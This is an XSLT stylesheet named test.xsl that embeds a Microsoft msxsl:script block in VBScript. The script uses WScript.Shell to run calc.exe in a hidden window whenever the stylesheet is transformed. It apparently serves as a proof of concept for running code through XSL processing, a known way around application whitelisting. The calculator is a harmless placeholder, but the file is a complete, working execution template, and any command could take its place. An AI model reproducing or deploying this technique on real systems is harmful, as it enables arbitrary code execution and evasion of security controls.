test.xsl

<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
xmlns:user="urn:my-scripts">

<msxsl:script language="VBScript" implements-prefix="user">
function myFunction()
set shell=createobject("wscript.shell")
shell.run "calc.exe",0
myFunction = 0
end function

</msxsl:script>
<xsl:template match="/">
<xsl:value-of select="user:myFunction()"/>
</xsl:template>
</xsl:stylesheet>